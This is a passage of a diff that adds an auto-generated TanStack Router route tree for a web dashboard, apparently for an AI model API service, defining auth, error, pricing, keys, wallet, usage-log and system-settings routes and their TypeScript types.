+  getParentRoute: () => rootRouteImport,
+} as any)
+const authRouteRoute = authRouteRouteImport.update({
+  id: '/(auth)',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const IndexRoute = IndexRouteImport.update({
+  id: '/',
+  path: '/',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const SetupIndexRoute = SetupIndexRouteImport.update({
+  id: '/setup/',
+  path: '/setup/',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const PricingIndexRoute = PricingIndexRouteImport.update({
+  id: '/pricing/',
+  path: '/pricing/',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const AboutIndexRoute = AboutIndexRouteImport.update({
+  id: '/about/',
+  path: '/about/',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const OauthProviderRoute = OauthProviderRouteImport.update({
+  id: '/oauth/$provider',
+  path: '/oauth/$provider',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const AuthenticatedChat2linkRoute = AuthenticatedChat2linkRouteImport.update({
+  id: '/chat2link',
+  path: '/chat2link',
+  getParentRoute: () => AuthenticatedRouteRoute,
+} as any)
+const errors503Route = errors503RouteImport.update({
+  id: '/(errors)/503',
+  path: '/503',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const errors500Route = errors500RouteImport.update({
+  id: '/(errors)/500',
+  path: '/500',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const errors404Route = errors404RouteImport.update({
+  id: '/(errors)/404',
+  path: '/404',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const errors403Route = errors403RouteImport.update({
+  id: '/(errors)/403',
+  path: '/403',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const errors401Route = errors401RouteImport.update({
+  id: '/(errors)/401',
+  path: '/401',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const authSignUpRoute = authSignUpRouteImport.update({
+  id: '/sign-up',
+  path: '/sign-up',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const authSignInRoute = authSignInRouteImport.update({
+  id: '/sign-in',
+  path: '/sign-in',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const authResetRoute = authResetRouteImport.update({
+  id: '/reset',
+  path: '/reset',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const authOtpRoute = authOtpRouteImport.update({
+  id: '/otp',
+  path: '/otp',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const authOauthRoute = authOauthRouteImport.update({
+  id: '/oauth',
+  path: '/oauth',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const authForgotPasswordRoute = authForgotPasswordRouteImport.update({
+  id: '/forgot-password',
+  path: '/forgot-password',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const AuthenticatedSystemSettingsRouteRoute =
+  AuthenticatedSystemSettingsRouteRouteImport.update({
+    id: '/system-settings',
+    path: '/system-settings',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const PricingModelIdIndexRoute = PricingModelIdIndexRouteImport.update({
+  id: '/pricing/$modelId/',
+  path: '/pricing/$modelId/',
+  getParentRoute: () => rootRouteImport,
+} as any)
+const AuthenticatedWalletIndexRoute =
+  AuthenticatedWalletIndexRouteImport.update({
+    id: '/wallet/',
+    path: '/wallet/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedUsersIndexRoute = AuthenticatedUsersIndexRouteImport.update({
+  id: '/users/',
+  path: '/users/',
+  getParentRoute: () => AuthenticatedRouteRoute,
+} as any)
+const AuthenticatedUsageLogsIndexRoute =
+  AuthenticatedUsageLogsIndexRouteImport.update({
+    id: '/usage-logs/',
+    path: '/usage-logs/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsIndexRoute =
+  AuthenticatedSystemSettingsIndexRouteImport.update({
+    id: '/',
+    path: '/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSubscriptionsIndexRoute =
+  AuthenticatedSubscriptionsIndexRouteImport.update({
+    id: '/subscriptions/',
+    path: '/subscriptions/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedRedemptionCodesIndexRoute =
+  AuthenticatedRedemptionCodesIndexRouteImport.update({
+    id: '/redemption-codes/',
+    path: '/redemption-codes/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedProfileIndexRoute =
+  AuthenticatedProfileIndexRouteImport.update({
+    id: '/profile/',
+    path: '/profile/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedPlaygroundIndexRoute =
+  AuthenticatedPlaygroundIndexRouteImport.update({
+    id: '/playground/',
+    path: '/playground/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedModelsIndexRoute =
+  AuthenticatedModelsIndexRouteImport.update({
+    id: '/models/',
+    path: '/models/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedKeysIndexRoute = AuthenticatedKeysIndexRouteImport.update({
+  id: '/keys/',
+  path: '/keys/',
+  getParentRoute: () => AuthenticatedRouteRoute,
+} as any)
+const AuthenticatedDashboardIndexRoute =
+  AuthenticatedDashboardIndexRouteImport.update({
+    id: '/dashboard/',
+    path: '/dashboard/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedChannelsIndexRoute =
+  AuthenticatedChannelsIndexRouteImport.update({
+    id: '/channels/',
+    path: '/channels/',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedUsageLogsSectionRoute =
+  AuthenticatedUsageLogsSectionRouteImport.update({
+    id: '/usage-logs/$section',
+    path: '/usage-logs/$section',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedModelsSectionRoute =
+  AuthenticatedModelsSectionRouteImport.update({
+    id: '/models/$section',
+    path: '/models/$section',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedErrorsErrorRoute =
+  AuthenticatedErrorsErrorRouteImport.update({
+    id: '/errors/$error',
+    path: '/errors/$error',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedDashboardSectionRoute =
+  AuthenticatedDashboardSectionRouteImport.update({
+    id: '/dashboard/$section',
+    path: '/dashboard/$section',
+    getParentRoute: () => AuthenticatedRouteRoute,
+  } as any)
+const AuthenticatedChatChatIdRoute = AuthenticatedChatChatIdRouteImport.update({
+  id: '/chat/$chatId',
+  path: '/chat/$chatId',
+  getParentRoute: () => AuthenticatedRouteRoute,
+} as any)
+const authUserResetRoute = authUserResetRouteImport.update({
+  id: '/user/reset',
+  path: '/user/reset',
+  getParentRoute: () => authRouteRoute,
+} as any)
+const AuthenticatedSystemSettingsRequestLimitsIndexRoute =
+  AuthenticatedSystemSettingsRequestLimitsIndexRouteImport.update({
+    id: '/request-limits/',
+    path: '/request-limits/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsModelsIndexRoute =
+  AuthenticatedSystemSettingsModelsIndexRouteImport.update({
+    id: '/models/',
+    path: '/models/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsMaintenanceIndexRoute =
+  AuthenticatedSystemSettingsMaintenanceIndexRouteImport.update({
+    id: '/maintenance/',
+    path: '/maintenance/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsIntegrationsIndexRoute =
+  AuthenticatedSystemSettingsIntegrationsIndexRouteImport.update({
+    id: '/integrations/',
+    path: '/integrations/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsGeneralIndexRoute =
+  AuthenticatedSystemSettingsGeneralIndexRouteImport.update({
+    id: '/general/',
+    path: '/general/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsContentIndexRoute =
+  AuthenticatedSystemSettingsContentIndexRouteImport.update({
+    id: '/content/',
+    path: '/content/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsAuthIndexRoute =
+  AuthenticatedSystemSettingsAuthIndexRouteImport.update({
+    id: '/auth/',
+    path: '/auth/',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsRequestLimitsSectionRoute =
+  AuthenticatedSystemSettingsRequestLimitsSectionRouteImport.update({
+    id: '/request-limits/$section',
+    path: '/request-limits/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsModelsSectionRoute =
+  AuthenticatedSystemSettingsModelsSectionRouteImport.update({
+    id: '/models/$section',
+    path: '/models/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsMaintenanceSectionRoute =
+  AuthenticatedSystemSettingsMaintenanceSectionRouteImport.update({
+    id: '/maintenance/$section',
+    path: '/maintenance/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsIntegrationsSectionRoute =
+  AuthenticatedSystemSettingsIntegrationsSectionRouteImport.update({
+    id: '/integrations/$section',
+    path: '/integrations/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsGeneralSectionRoute =
+  AuthenticatedSystemSettingsGeneralSectionRouteImport.update({
+    id: '/general/$section',
+    path: '/general/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsContentSectionRoute =
+  AuthenticatedSystemSettingsContentSectionRouteImport.update({
+    id: '/content/$section',
+    path: '/content/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+const AuthenticatedSystemSettingsAuthSectionRoute =
+  AuthenticatedSystemSettingsAuthSectionRouteImport.update({
+    id: '/auth/$section',
+    path: '/auth/$section',
+    getParentRoute: () => AuthenticatedSystemSettingsRouteRoute,
+  } as any)
+
+export interface FileRoutesByFullPath {
+  '/': typeof IndexRoute
+  '/privacy-policy': typeof PrivacyPolicyRoute
+  '/user-agreement': typeof UserAgreementRoute
+  '/system-settings': typeof AuthenticatedSystemSettingsRouteRouteWithChildren
+  '/forgot-password': typeof authForgotPasswordRoute
+  '/oauth': typeof authOauthRoute
+  '/otp': typeof authOtpRoute
+  '/reset': typeof authResetRoute
+  '/sign-in': typeof authSignInRoute
+  '/sign-up': typeof authSignUpRoute
+  '/401': typeof errors401Route
+  '/403': typeof errors403Route
+  '/404': typeof errors404Route
+  '/500': typeof errors500Route
+  '/503': typeof errors503Route
+  '/chat2link': typeof AuthenticatedChat2linkRoute
+  '/oauth/$provider': typeof OauthProviderRoute
+  '/about/': typeof AboutIndexRoute
+  '/pricing/': typeof PricingIndexRoute
+  '/setup/': typeof SetupIndexRoute
+  '/user/reset': typeof authUserResetRoute
+  '/chat/$chatId': typeof AuthenticatedChatChatIdRoute
+  '/dashboard/$section': typeof AuthenticatedDashboardSectionRoute
+  '/errors/$error': typeof AuthenticatedErrorsErrorRoute
+  '/models/$section': typeof AuthenticatedModelsSectionRoute
+  '/usage-logs/$section': typeof AuthenticatedUsageLogsSectionRoute
+  '/channels/': typeof AuthenticatedChannelsIndexRoute
+  '/dashboard/': typeof AuthenticatedDashboardIndexRoute
+  '/keys/': typeof AuthenticatedKeysIndexRoute
+  '/models/': typeof AuthenticatedModelsIndexRoute
+  '/playground/': typeof AuthenticatedPlaygroundIndexRoute
+  '/profile/': typeof AuthenticatedProfileIndexRoute
+  '/redemption-codes/': typeof AuthenticatedRedemptionCodesIndexRoute
+  '/subscriptions/': typeof AuthenticatedSubscriptionsIndexRoute
+  '/system-settings/': typeof AuthenticatedSystemSettingsIndexRoute
+  '/usage-logs/': typeof AuthenticatedUsageLogsIndexRoute
+  '/users/': typeof AuthenticatedUsersIndexRoute
+  '/wallet/': typeof AuthenticatedWalletIndexRoute
+  '/pricing/$modelId/': typeof PricingModelIdIndexRoute
+  '/system-settings/auth/$section': typeof AuthenticatedSystemSettingsAuthSectionRoute
+  '/system-settings/content/$section': typeof AuthenticatedSystemSettingsContentSectionRoute
+  '/system-settings/general/$section': typeof AuthenticatedSystemSettingsGeneralSectionRoute
+  '/system-settings/integrations/$section': typeof AuthenticatedSystemSettingsIntegrationsSectionRoute
+  '/system-settings/maintenance/$section': typeof AuthenticatedSystemSettingsMaintenanceSectionRoute
+  '/system-settings/models/$section': typeof AuthenticatedSystemSettingsModelsSectionRoute
+  '/system-settings/request-limits/$section': typeof AuthenticatedSystemSettingsRequestLimitsSectionRoute
+  '/system-settings/auth/': typeof AuthenticatedSystemSettingsAuthIndexRoute
+  '/system-settings/content/': typeof AuthenticatedSystemSettingsContentIndexRoute
+  '/system-settings/general/': typeof AuthenticatedSystemSettingsGeneralIndexRoute
+  '/system-settings/integrations/': typeof AuthenticatedSystemSettingsIntegrationsIndexRoute
+  '/system-settings/maintenance/': typeof AuthenticatedSystemSettingsMaintenanceIndexRoute
+  '/system-settings/models/': typeof AuthenticatedSystemSettingsModelsIndexRoute
+  '/system-settings/request-limits/': typeof AuthenticatedSystemSettingsRequestLimitsIndexRoute
+}
+export interface FileRoutesByTo {
+  '/': typeof IndexRoute
+  '/privacy-policy': typeof PrivacyPolicyRoute
+  '/user-agreement': typeof UserAgreementRoute
+  '/forgot-password': typeof authForgotPasswordRoute
+  '/oauth': typeof authOauthRoute
+  '/otp': typeof authOtpRoute
+  '/reset': typeof authResetRoute
+  '/sign-in': typeof authSignInRoute
+  '/sign-up': typeof authSignUpRoute
+  '/401': typeof errors401Route
+  '/403': typeof errors403Route
+  '/404': typeof errors404Route
+  '/500': typeof errors500Route
+  '/503': typeof errors503Route
+  '/chat2link': typeof AuthenticatedChat2linkRoute
+  '/oauth/$provider': typeof OauthProviderRoute
+  '/about': typeof AboutIndexRoute
+  '/pricing': typeof PricingIndexRoute
+  '/setup': typeof SetupIndexRoute
+  '/user/reset': typeof authUserResetRoute
+  '/chat/$chatId': typeof AuthenticatedChatChatIdRoute
+  '/dashboard/$section': typeof AuthenticatedDashboardSectionRoute
+  '/errors/$error': typeof AuthenticatedErrorsErrorRoute
+  '/models/$section': typeof AuthenticatedModelsSectionRoute
+  '/usage-logs/$section': typeof AuthenticatedUsageLogsSectionRoute
+  '/channels': typeof AuthenticatedChannelsIndexRoute
+  '/dashboard': typeof AuthenticatedDashboardIndexRoute
+  '/keys': typeof AuthenticatedKeysIndexRoute
+  '/models': typeof AuthenticatedModelsIndexRoute
+  '/playground': typeof AuthenticatedPlaygroundIndexRoute
+  '/profile': typeof AuthenticatedProfileIndexRoute
+  '/redemption-codes': typeof AuthenticatedRedemptionCodesIndexRoute
+  '/subscriptions': typeof AuthenticatedSubscriptionsIndexRoute
+  '/system-settings': typeof AuthenticatedSystemSettingsIndexRoute
+  '/usage-logs': typeof AuthenticatedUsageLogsIndexRoute
+  '/users': typeof AuthenticatedUsersIndexRoute
+  '/wallet': typeof AuthenticatedWalletIndexRoute
+  '/pricing/$modelId': typeof PricingModelIdIndexRoute
+  '/system-settings/auth/$section': typeof AuthenticatedSystemSettingsAuthSectionRoute
+  '/system-settings/content/$section': typeof AuthenticatedSystemSettingsContentSectionRoute
+  '/system-settings/general/$section': typeof AuthenticatedSystemSettingsGeneralSectionRoute
+  '/system-settings/integrations/$section': typeof AuthenticatedSystemSettingsIntegrationsSectionRoute
+  '/system-settings/maintenance/$section': typeof AuthenticatedSystemSettingsMaintenanceSectionRoute
+  '/system-settings/models/$section': typeof AuthenticatedSystemSettingsModelsSectionRoute
+  '/system-settings/request-limits/$section': typeof AuthenticatedSystemSettingsRequestLimitsSectionRoute
+  '/system-settings/auth': typeof AuthenticatedSystemSettingsAuthIndexRoute
+  '/system-settings/content': typeof AuthenticatedSystemSettingsContentIndexRoute
+  '/system-settings/general': typeof AuthenticatedSystemSettingsGeneralIndexRoute
+  '/system-settings/integrations': typeof AuthenticatedSystemSettingsIntegrationsIndexRoute
+  '/system-settings/maintenance': typeof AuthenticatedSystemSettingsMaintenanceIndexRoute
+  '/system-settings/models': typeof AuthenticatedSystemSettingsModelsIndexRoute
+  '/system-settings/request-limits': typeof AuthenticatedSystemSettingsRequestLimitsIndexRoute
+}
+export interface FileRoutesById {
+  __root__: typeof rootRouteImport
+  '/': typeof IndexRoute
+  '/(auth)': typeof authRouteRouteWithChildren
+  '/_authenticated': typeof AuthenticatedRouteRouteWithChildren
+  '/privacy-policy': typeof PrivacyPolicyRoute
+  '/user-agreement': typeof UserAgreementRoute
+  '/_authenticated/system-settings': typeof AuthenticatedSystemSettingsRouteRouteWithChildren
+  '/(auth)/forgot-password': typeof authForgotPasswordRoute
+  '/(auth)/oauth': typeof authOauthRoute
+  '/(auth)/otp': typeof authOtpRoute
+  '/(auth)/reset': typeof authResetRoute
+  '/(auth)/sign-in': typeof authSignInRoute
+  '/(auth)/sign-up': typeof authSignUpRoute
+  '/(errors)/401': typeof errors401Route
+  '/(errors)/403': typeof errors403Route
+  '/(errors)/404': typeof errors404Route
+  '/(errors)/500': typeof errors500Route
+  '/(errors)/503': typeof errors503Route
+  '/_authenticated/chat2link': typeof AuthenticatedChat2linkRoute
+  '/oauth/$provider': typeof OauthProviderRoute
+  '/about/': typeof AboutIndexRoute
+  '/pricing/': typeof PricingIndexRoute
+  '/setup/': typeof SetupIndexRoute
+  '/(auth)/user/reset': typeof authUserResetRoute
+  '/_authenticated/chat/$chatId': typeof AuthenticatedChatChatIdRoute
+  '/_authenticated/dashboard/$section': typeof AuthenticatedDashboardSectionRoute
+  '/_authenticated/errors/$error': typeof AuthenticatedErrorsErrorRoute
+  '/_authenticated/models/$section': typeof AuthenticatedModelsSectionRoute
+  '/_authenticated/usage-logs/$section': typeof AuthenticatedUsageLogsSectionRoute
+  '/_authenticated/channels/': typeof AuthenticatedChannelsIndexRoute
+  '/_authenticated/dashboard/': typeof AuthenticatedDashboardIndexRoute
+  '/_authenticated/keys/': typeof AuthenticatedKeysIndexRoute
+  '/_authenticated/models/': typeof AuthenticatedModelsIndexRoute
+  '/_authenticated/playground/': typeof AuthenticatedPlaygroundIndexRoute
+  '/_authenticated/profile/': typeof AuthenticatedProfileIndexRoute
+  '/_authenticated/redemption-codes/': typeof AuthenticatedRedemptionCodesIndexRoute
+  '/_authenticated/subscriptions/': typeof AuthenticatedSubscriptionsIndexRoute
+  '/_authenticated/system-settings/': typeof AuthenticatedSystemSettingsIndexRoute
+  '/_authenticated/usage-logs/': typeof AuthenticatedUsageLogsIndexRoute
+  '/_authenticated/users/': typeof AuthenticatedUsersIndexRoute
+  '/_authenticated/wallet/': typeof AuthenticatedWalletIndexRoute
+  '/pricing/$modelId/': typeof PricingModelIdIndexRoute
+  '/_authenticated/system-settings/auth/$section': typeof AuthenticatedSystemSettingsAuthSectionRoute
+  '/_authenticated/system-settings/content/$section': typeof AuthenticatedSystemSettingsContentSectionRoute
+  '/_authenticated/system-settings/general/$section': typeof AuthenticatedSystemSettingsGeneralSectionRoute
+  '/_authenticated/system-settings/integrations/$section': typeof AuthenticatedSystemSettingsIntegrationsSectionRoute
+  '/_authenticated/system-settings/maintenance/$section': typeof AuthenticatedSystemSettingsMaintenanceSectionRoute
+  '/_authenticated/system-settings/models/$section': typeof AuthenticatedSystemSettingsModelsSectionRoute
+  '/_authenticated/system-settings/request-limits/$section': typeof AuthenticatedSystemSettingsRequestLimitsSectionRoute
+  '/_authenticated/system-settings/auth/': typeof AuthenticatedSystemSettingsAuthIndexRoute
+  '/_authenticated/system-settings/content/': typeof AuthenticatedSystemSettingsContentIndexRoute
+  '/_authenticated/system-settings/general/': typeof AuthenticatedSystemSettingsGeneralIndexRoute
+  '/_authenticated/system-settings/integrations/': typeof AuthenticatedSystemSettingsIntegrationsIndexRoute
+  '/_authenticated/system-settings/maintenance/': typeof AuthenticatedSystemSettingsMaintenanceIndexRoute
+  '/_authenticated/system-settings/models/': typeof AuthenticatedSystemSettingsModelsIndexRoute
+  '/_authenticated/system-settings/request-limits/': typeof AuthenticatedSystemSettingsRequestLimitsIndexRoute
+}
+export interface FileRouteTypes {
+  fileRoutesByFullPath: FileRoutesByFullPath
+  fullPaths:
+    | '/'
+    | '/privacy-policy'
+    | '/user-agreement'
+    | '/system-settings'
+    | '/forgot-password'
+    | '/oauth'
+    | '/otp'
+    | '/reset'
+    | '/sign-in'
+    | '/sign-up'
+    | '/401'
+    | '/403'
+    | '/404'
+    | '/500'
+    | '/503'
+    | '/chat2link'
+    | '/oauth/$provider'
+    | '/about/'
+    | '/pricing/'
+    | '/setup/'
+    | '/user/reset'
+    | '/chat/$chatId'
+    | '/dashboard/$section'
+    | '/errors/$error'
+    | '/models/$section'
+    | '/usage-logs/$section'
+    | '/channels/'
+    | '/dashboard/'
+    | '/keys/'
+    | '/models/'
+    | '/playground/'
+    | '/profile/'
+    | '/redemption-codes/'
+    | '/subscriptions/'
+    | '/system-settings/'
+    | '/usage-logs/'
+    | '/users/'
+    | '/wallet/'
+    | '/pricing/$modelId/'
+    | '/system-settings/auth/$section'
+    | '/system-settings/content/$section'
+    | '/system-settings/general/$section'
+    | '/system-settings/integrations/$section'
+    | '/system-settings/maintenance/$section'
+    | '/system-settings/models/$section'
+    | '/system-settings/request-limits/$section'
+    | '/system-settings/auth/'
+    | '/system-settings/content/'
+    | '/system-settings/general/'
+    | '/system-settings/integrations/'
+    | '/system-settings/maintenance/'
+    | '/system-settings/models/'
+    | '/system-settings/request-limits/'
+  fileRoutesByTo: FileRoutesByTo
+  to:
+    | '/'
+    | '/privacy-policy'
+    | '/user-agreement'
+    | '/forgot-password'
+    | '/oauth'
+    | '/otp'
+    | '/reset'
+    | '/sign-in'
+    | '/sign-up'
+    | '/401'
+    | '/403'
+    | '/404'
+    | '/500'
+    | '/503'
+    | '/chat2link'
+    | '/oauth/$provider'
+    | '/about'
+    | '/pricing'
+    | '/setup'
+    | '/user/reset'
+    | '/chat/$chatId'
+    | '/dashboard/$section'
+    | '/errors/$error'
+    | '/models/$section'
+    | '/usage-logs/$section'
+    | '/channels'
+    | '/dashboard'
+    | '/keys'
+    | '/models'
+    | '/playground'
+    | '/profile'
+    | '/redemption-codes'
+    | '/subscriptions'
+    | '/system-settings'
+    | '/usage-logs'
+    | '/users'
+    | '/wallet'
+    | '/pricing/$modelId'
+    | '/system-settings/auth/$section'
+    | '/system-settings/content/$section'
+    | '/system-settings/general/$section'
+    | '/system-settings/integrations/$section'
+    | '/system-settings/maintenance/$section'
+    | '/system-settings/models/$section'
+    | '/system-settings/request-limits/$section'
+    | '/system-settings/auth'
+    | '/system-settings/content'
+    | '/system-settings/general'
+    | '/system-settings/integrations'
+    | '/system-settings/maintenance'
+    | '/system-settings/models'
+    | '/system-settings/request-limits'
+  id:
+    | '__root__'
+    | '/'
+    | '/(auth)'
+    | '/_authenticated'
+    | '/privacy-policy'
+    | '/user-agreement'
+    | '/_authenticated/system-settings'
+    | '/(auth)/forgot-password'
+    | '/(auth)/oauth'
+    | '/(auth)/otp'
+    | '/(auth)/reset'
+    | '/(auth)/sign-in'
+    | '/(auth)/sign-up'
+    | '/(errors)/401'
+    | '/(errors)/403'
+    | '/(errors)/404'
+    | '/(errors)/500'
+    | '/(errors)/503'
+    | '/_authenticated/chat2link'
+    | '/oauth/$provider'
+    | '/about/'
+    | '/pricing/'
+    | '/setup/'
+    | '/(auth)/user/reset'
+    | '/_authenticated/chat/$chatId'
+    | '/_authenticated/dashboard/$section'
+    | '/_authenticated/errors/$error'
+    | '/_authenticated/models/$section'
+    | '/_authenticated/usage-logs/$section'
+    | '/_authenticated/channels/'
+    | '/_authenticated/dashboard/'
+    | '/_authenticated/keys/'
+    | '/_authenticated/models/'
+    | '/_authenticated/playground/'
+    | '/_authenticated/profile/'
+    | '/_authenticated/redemption-codes/'
+    | '/_authenticated/subscriptions/'
+    | '/_authenticated/system-settings/'
+    | '/_authenticated/usage-logs/'
+    | '/_authenticated/users/'
+    | '/_authenticated/wallet/'
+    | '/pricing/$modelId/'
+    | '/_authenticated/system-settings/auth/$section'
+    | '/_authenticated/system-settings/content/$section'
+    | '/_authenticated/system-settings/general/$section'
+    | '/_authenticated/system-settings/integrations/$section'
+    | '/_authenticated/system-settings/maintenance/$section'
+    | '/_authenticated/system-settings/models/$section'
+    | '/_authenticated/system-settings/request-limits/$section'
+    | '/_authenticated/system-settings/auth/'
+    | '/_authenticated/system-settings/content/'
+    | '/_authenticated/system-settings/general/'
+    | '/_authenticated/system-settings/integrations/'
+    | '/_authenticated/system-settings/maintenance/'
+    | '/_authenticated/system-settings/models/'
+    | '/_authenticated/system-settings/request-limits/'
+  fileRoutesById: FileRoutesById
+}
+export interface RootRouteChildren {
+  IndexRoute: typeof IndexRoute
+  authRouteRoute: typeof authRouteRouteWithChildren
+  AuthenticatedRouteRoute: typeof AuthenticatedRouteRouteWithChildren
+  PrivacyPolicyRoute: typeof PrivacyPolicyRoute
+  UserAgreementRoute: typeof UserAgreementRoute
+  errors401Route: typeof errors401Route
+  errors403Route: typeof errors403Route
+  errors404Route: typeof errors404Route
+  errors500Route: typeof errors500Route
+  errors503Route: typeof errors503Route
+  OauthProviderRoute: typeof OauthProviderRoute
+  AboutIndexRoute: typeof AboutIndexRoute
+  PricingIndexRoute: typeof PricingIndexRoute
+  SetupIndexRoute: typeof SetupIndexRoute
+  PricingModelIdIndexRoute: typeof PricingModelIdIndexRoute
+}
+
+declare module '@tanstack/react-router' {
+  interface FileRoutesByPath {
+    '/user-agreement': {
+      id: '/user-agreement'
+      path: '/user-agreement'
+      fullPath: '/user-agreement'
+      preLoaderRoute: typeof UserAgreementRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/privacy-policy': {
+      id: '/privacy-policy'
+      path: '/privacy-policy'
+      fullPath: '/privacy-policy'
+      preLoaderRoute: typeof PrivacyPolicyRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/_authenticated': {
+      id: '/_authenticated'
+      path: ''
+      fullPath: '/'
+      preLoaderRoute: typeof AuthenticatedRouteRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/(auth)': {
+      id: '/(auth)'
+      path: ''
+      fullPath: ''
+      preLoaderRoute: typeof authRouteRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/': {
+      id: '/'
+      path: '/'
+      fullPath: '/'
+      preLoaderRoute: typeof IndexRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/setup/': {
+      id: '/setup/'
+      path: '/setup'
+      fullPath: '/setup/'
+      preLoaderRoute: typeof SetupIndexRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/pricing/': {
+      id: '/pricing/'
+      path: '/pricing'
+      fullPath: '/pricing/'
+      preLoaderRoute: typeof PricingIndexRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/about/': {
+      id: '/about/'
+      path: '/about'
+      fullPath: '/about/'
+      preLoaderRoute: typeof AboutIndexRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/oauth/$provider': {
+      id: '/oauth/$provider'
+      path: '/oauth/$provider'
+      fullPath: '/oauth/$provider'
+      preLoaderRoute: typeof OauthProviderRouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/_authenticated/chat2link': {
+      id: '/_authenticated/chat2link'
+      path: '/chat2link'
+      fullPath: '/chat2link'
+      preLoaderRoute: typeof AuthenticatedChat2linkRouteImport
+      parentRoute: typeof AuthenticatedRouteRoute
+    }
+    '/(errors)/503': {
+      id: '/(errors)/503'
+      path: '/503'
+      fullPath: '/503'
+      preLoaderRoute: typeof errors503RouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/(errors)/500': {
+      id: '/(errors)/500'
+      path: '/500'
+      fullPath: '/500'
+      preLoaderRoute: typeof errors500RouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/(errors)/404': {
+      id: '/(errors)/404'
+      path: '/404'
+      fullPath: '/404'
+      preLoaderRoute: typeof errors404RouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/(errors)/403': {
+      id: '/(errors)/403'
+      path: '/403'
+      fullPath: '/403'
+      preLoaderRoute: typeof errors403RouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/(errors)/401': {
+      id: '/(errors)/401'
+      path: '/401'
+      fullPath: '/401'
+      preLoaderRoute: typeof errors401RouteImport
+      parentRoute: typeof rootRouteImport
+    }
+    '/(auth)/sign-up': {
+      id: '/(auth)/sign-up'
+      path: '/sign-up'
+      fullPath: '/sign-up'
+      preLoaderRoute: typeof authSignUpRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/(auth)/sign-in': {
+      id: '/(auth)/sign-in'
+      path: '/sign-in'
+      fullPath: '/sign-in'
+      preLoaderRoute: typeof authSignInRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/(auth)/reset': {
+      id: '/(auth)/reset'
+      path: '/reset'
+      fullPath: '/reset'
+      preLoaderRoute: typeof authResetRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/(auth)/otp': {
+      id: '/(auth)/otp'
+      path: '/otp'
+      fullPath: '/otp'
+      preLoaderRoute: typeof authOtpRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/(auth)/oauth': {
+      id: '/(auth)/oauth'
+      path: '/oauth'
+      fullPath: '/oauth'
+      preLoaderRoute: typeof authOauthRouteImport
+      parentRoute: typeof authRouteRoute
+    }
+    '/(auth)/forgot-password': {
